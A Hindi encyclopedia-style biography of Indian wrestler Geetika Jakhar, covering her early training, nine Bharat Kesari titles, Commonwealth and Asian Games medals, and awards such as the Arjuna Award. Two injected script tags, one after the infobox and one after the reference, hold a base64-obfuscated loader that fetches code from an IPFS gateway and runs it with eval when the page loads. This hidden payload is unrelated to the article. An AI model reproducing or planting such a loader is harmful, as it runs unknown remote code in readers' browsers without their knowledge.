गीतिका जाखड़  

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गीतिका जाखड़
पूरा नाम गीतिका जाखड़
जन्म 18 अगस्त, 1985
जन्म भूमि अग्रोहा, ज़िला हिसार, हरियाणा
अभिभावक पिता- बलजीत सिंह जाखड़
कर्म भूमि भारत
खेल-क्षेत्र कुश्ती
पुरस्कार-उपाधि अर्जुन पुरस्कार (2006)
प्रसिद्धि भारतीय महिला पहलवान
नागरिकता भारतीय
क़द 5 फुट, 3 इंच
अन्य जानकारी गीतिका जाखड़ ने लगातार 9 वर्षों तक 'भारत केसरी' का खिताब अपने नाम किया है। मात्र 15 वर्ष की आयु में उन्होंने पहली बार 'भारत केसरी' का खिताब जीता था।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीतिका जाखड़ (अंग्रेज़ी: Geetika Jakhar, जन्म- 18 अगस्त, 1985) भारत की प्रसिद्ध महिला पहलवान हैं। वह देश की पहली ऐसी महिला पहलवान हैं जिन्हें अर्जुन पुरस्कार (2006) से सम्मानित किया गया था। गीतिका जाखड़ ने महज 13 साल की उम्र में अपने दादा चौधरी अमरचंद जाखड़ से कुश्ती के गुर सीखने शुरू कर दिए थे। महज 15 साल की उम्र में उन्होंने 'भारत केसरी' का खिताब हासिल किया। वर्ष 2000 में दिल्ली में हुए एक दंगल में उन्होंने देश की पहली भारत केसरी का खिताब जीता था। वह दो बार राष्ट्रमंडल चैंपियनशिप में स्वर्ण पदक जीत चुकी हैं। गीतिका जाखड़ ने 2003 और 2005 में राष्ट्रमंडल चैंपियनशिप में स्वर्ण पदक जीता था। उन्होंने 2006 के दोहा एशियाई खेलों में रजत और 2014 के इंचियोन एशियाई खेलों में कांस्य पदक जीता था। 2014 के ग्लास्गो राष्ट्रमंडल खेलों में रजत पदक जीता।[१]

परिचय

18 अगस्त, 1985 को हिसार ज़िले के अग्रोहा में जन्मी गीतिका जाखड़ के मन में बचपन से ही खिलाड़ी बनने की चाह थी। उन्होंने एथलेटिक्स से अपने खेल जीवन की शुरुआत की। घर में खेलों का माहौल था। पिता बलजीत सिंह कोच थे तो दादा अमरचंद जाखड़, पहलवान। दादा को देखकर वह भी पहलवान बनने की सोचतीं पर कुश्ती के लिए पर्याप्त माहौल के अभाव में कुछ न कर पातीं। 1998 में उनका परिवार अग्रोहा से हिसार आ गया। वहाँ दूसरी लड़कियों को कुश्ती करते देखा तो बस पहलवान बनने की ठान ली। इस तरह 13 वर्ष की आयु में कुश्ती की शुरूआत की और 4 महीने बाद ही मणिपुर में हुए राष्ट्रीय खेलों में अपनी चुनौती पेश कर दी।

भारत केसरी का खिताब

राष्ट्रीय खेलों में भाग लेने वाली देश की सबसे कम उम्र की पहलवान बनी गीतिका जाखड़ वहाँ चौथे स्थान पर रही। सन 2001 में हुई राष्ट्रीय चैंपियनशिप में उसने सब जूनियर, जूनियर और सीनियर, तीनों वर्गों में गोल्ड मेडल जीत कर इन खेलों के तीनों प्रारूपों में स्वर्ण पदक जीतने वाली देश की सबसे कम उम्र की पहलवान बनने का गौरव हासिल किया। गीतिका का यह रिकॉर्ड आज भी कायम है। आधुनिक कुश्ती के साथ-साथ गीतिका ने पारम्परिक कुश्ती में भी महारत हासिल की और सन 2000 में केवल 15 वर्ष की आयु में भारत केसरी का खिताब जीतने में कामयाब रही। इस दंगल में उसने देश की पहली भारत केसरी पहलवान सोनिका कालीरमण को पटखनी दी। इसके बाद गीतिका ने लगातार 9 वर्षों तक भारत केसरी का खिताब अपने पास रखा।[१]

अंतरराष्ट्रीय स्तर पर सफलता

राष्ट्रीय स्तर पर लगातार सफलता के झंडे गाड़ने के साथ-साथ गीतिका जाखड़ ने 2002 में 17 वर्ष की आयु में वर्ल्ड रेसलिंग चैंपियनशिप में भाग लेते हुए अपने अंतरराष्ट्रीय कैरियर की शुरूआत की। न्यूयॉर्क में हुई इस चैंपियनशिप में वे क्वार्टर फाइनल तक पहुँची। सन 2003 में उसने ‘एथेन्स वर्ल्ड रेसलिंग चैंपियनशिप में शिरकत की और यहाँ भी क्वार्टर फाइनल तक का सफर तय किया। इसी साल उसने एशियन रेसलिंग चैंपियनशिप, नई दिल्ली में ‘रजत’ और कॉमनवेल्थ चैंपियनशिप, लंदन में ‘स्वर्ण’ पदक जीतकर अंतरराष्ट्रीय स्तर पर भी अपनी प्रतिभा का लोहा मनवा लिया। सन 2005 में चीन में हुई ‘एशियन रेसलिंग चैंपियनशिप’ में रजत पदक जीतने के बाद ‘कॉमनवेल्थ चैंपियनशिप’ में भी उसने दूसरी बार स्वर्ण पदक अपने नाम कर लिया। वह चैंपियनशिप की सर्वश्रेष्ठ पहलवान यानी ‘रेसलर ऑफ़ द टूर्नामेन्ट’ भी चुनी गई।

इसी साल लिथुआनिया में हुई ‘वर्ल्ड रेसलिंग चैंपियनशिप’ में ‘सिल्वर मेडल’ जीतकर उसने दुनिया की सर्वश्रेष्ठ पहलवानों में अपना नाम शामिल करवा लिया। 2006 में गीतिका जाखड़ ने अपने खेल के स्तर को और ऊँचा उठाते हुए दोहा एशियाई खेलों में रजत पदक जीता जो इन खेलों में किसी भी भारतीय महिला पहलवान द्वारा जीता गया पहला पदक था। यही नहीं, एशियन गेम्स में यह उस समय तक किसी भी भारतीय पहलवान को मिलने वाला सर्वोच्च पदक था। 2007 में गीतिका ने ओंटेरियो (कनाडा) में हुई कॉमनवेल्थ चैंपियनशिप में रजत पदक हासिल करने के साथ-साथ गोहाटी राष्ट्रीय खेलों और नई दिल्ली में सीनियर नेशनल रेसलिंग चैंपियनशिप में गोल्ड मेडल जीते।

सन 2010 में गीतिका को गंभीर चोट लग गई। इससे एक बार तो लगा कि अब गीतिका के खेल कैरियर पर पूर्ण विराम लग जाएगा लेकिन ज़िद्द की पक्की इस खिलाड़ी ने जुझारूपन की मिसाल पेश करते हुए कमबैक किया और 2012 की सीनियर नेशनल चैंपियनशिप में स्वर्ण पदक जीतकर अपने आलोचकों का मुँह बंद कर दिया। सन 2014 के ग्लास्गो कॉमनवेल्थ खेलों में रजत पदक पर कब्ज़ा जमाने के बाद इसी साल उसने इंचियोन एशियाई खेलों में कांस्य पदक झटक कर इन खेलों में अपना दूसरा पदक जीता।[१]

सम्मान व पुरस्कार

गीतिका जाखड़ की खेल उपलब्धियों को सम्मान प्रदान करते हुए हरियाणा सरकार ने उन्हें 2003 में ‘भीम अवार्ड’ और भारत सरकार ने 2006 में ‘अर्जुन पुरस्कार’ से नवाजा। 2008 में हरियाणा पुलिस में सीधे डी. एस. पी. नियुक्त की गई गीतिका जाखड़ को 2009 में ‘कल्पना चावला एक्सीलेंस अवार्ड फ़ॉर आउटस्टैंडिंग वीमेन’ भी प्रदान किया गया।[१]


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टीका टिप्पणी और संदर्भ

  1. १.० १.१ १.२ १.३ पहली अर्जुन अवार्डी महिला पहलवान (हिंदी) saridunia.com। अभिगमन तिथि: 15 सितम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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